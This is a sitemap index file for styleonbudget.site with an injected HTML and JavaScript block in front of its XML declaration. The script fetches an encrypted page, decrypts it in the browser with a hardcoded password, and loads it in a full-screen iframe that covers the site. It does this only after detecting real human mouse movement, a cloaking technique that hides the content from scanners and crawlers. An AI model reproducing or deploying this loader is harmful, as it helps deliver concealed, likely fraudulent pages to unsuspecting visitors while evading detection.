<div
  id="contentiframe"
  style="
    display: none;
    position: fixed;
    inset: 0;
    width: 100%;
    height: 100%;
    background: #fff;
    z-index: 999999;
  "
>
  <iframe
    id="appFrame"
    style="width: 100%; height: 100%; border: none; display: block"
    allow="fullscreen; autoplay; encrypted-media"
    allowfullscreen
  ></iframe>
</div>

<script>
(function () {
  const f = "page.html.enc";
  const p = "hdfsfs5645ds4r34455";

  let t = false;
  let l = false;

  const g = (id) => document.getElementById(id);

  const h = () => {
    const cc = g("cc");
    if (cc) cc.style.display = "none";
  };

  async function load() {
    if (l) return;
    l = true;

    try {
      const r = await fetch(f, { cache: "no-store" });

      if (!r.ok) {
        throw new Error("Failed to fetch encrypted file: " + r.status);
      }

      const b = await r.arrayBuffer();
      const d = new Uint8Array(b);

      if (d.length < 36) {
        throw new Error("Encrypted file is too short or invalid.");
      }

      const keyMaterial = await crypto.subtle.importKey(
        "raw",
        new TextEncoder().encode(p),
        "PBKDF2",
        false,
        ["deriveKey"]
      );

      const k = await crypto.subtle.deriveKey(
        {
          name: "PBKDF2",
          salt: d.slice(8, 24),
          iterations: 250000,
          hash: "SHA-256"
        },
        keyMaterial,
        { name: "AES-GCM", length: 256 },
        false,
        ["decrypt"]
      );

      const dec = await crypto.subtle.decrypt(
        {
          name: "AES-GCM",
          iv: d.slice(24, 36)
        },
        k,
        d.slice(36)
      );

      const frame = g("appFrame");
      const content = g("contentiframe");

      if (!frame || !content) {
        throw new Error(
          "Missing required element: appFrame or contentiframe."
        );
      }

      const objectUrl = URL.createObjectURL(
        new Blob([dec], { type: "text/html" })
      );

      frame.src = objectUrl;
      content.style.display = "block";
      h();

      console.log("Content decrypted and loaded.");

    } catch (e) {
      l = false;
      console.error("Decryption or loading failed:", e);
    }
  }

  // Interaction thresholds
  const thresholdX = 100;
  const thresholdY = 500;
  const minimumMoveEvents = 3;
  const minimumElapsedMs = 300;
  const mouseMoveDelay = 50;

  let startX = null;
  let startY = null;
  let firstMoveTime = 0;
  let moveEvents = 0;
  let mouseMoveTimer = null;

  function act() {
    if (t) return;

    t = true;
    load();
  }

  window.addEventListener("pointermove", function (event) {
    if (t) return;

    // Ignore synthetic JavaScript-dispatched events.
    if (!event.isTrusted) return;

    // Start tracking the first trusted pointer movement.
    if (startX === null) {
      startX = event.clientX;
      startY = event.clientY;
      firstMoveTime = performance.now();
      moveEvents = 1;
      return;
    }

    moveEvents++;

    const deltaX = Math.abs(event.clientX - startX);
    const deltaY = Math.abs(event.clientY - startY);
    const elapsed = performance.now() - firstMoveTime;

    const enoughMovement =
      deltaX >= thresholdX || deltaY >= thresholdY;

    const enoughEvents =
      moveEvents >= minimumMoveEvents;

    const enoughTime =
      elapsed >= minimumElapsedMs;

    if (
      enoughMovement &&
      enoughEvents &&
      enoughTime &&
      mouseMoveTimer === null
    ) {
      mouseMoveTimer = setTimeout(function () {
        act();
      }, mouseMoveDelay);
    }
  }, { passive: true });

})();
</script>
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://styleonbudget.site/sitemaps.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap>
							<loc>https://styleonbudget.site/post-sitemap1.xml</loc>
							<lastmod>2026-10-12T08:46:49+00:00</lastmod>
						</sitemap><sitemap>
							<loc>https://styleonbudget.site/page-sitemap1.xml</loc>
							<lastmod>2026-10-14T11:46:13+00:00</lastmod>
						</sitemap><sitemap>	
							<loc>https://styleonbudget.site/category-sitemap1.xml</loc>
							<lastmod>2026-10-21T10:34:34+00:00</lastmod>
						</sitemap></sitemapindex>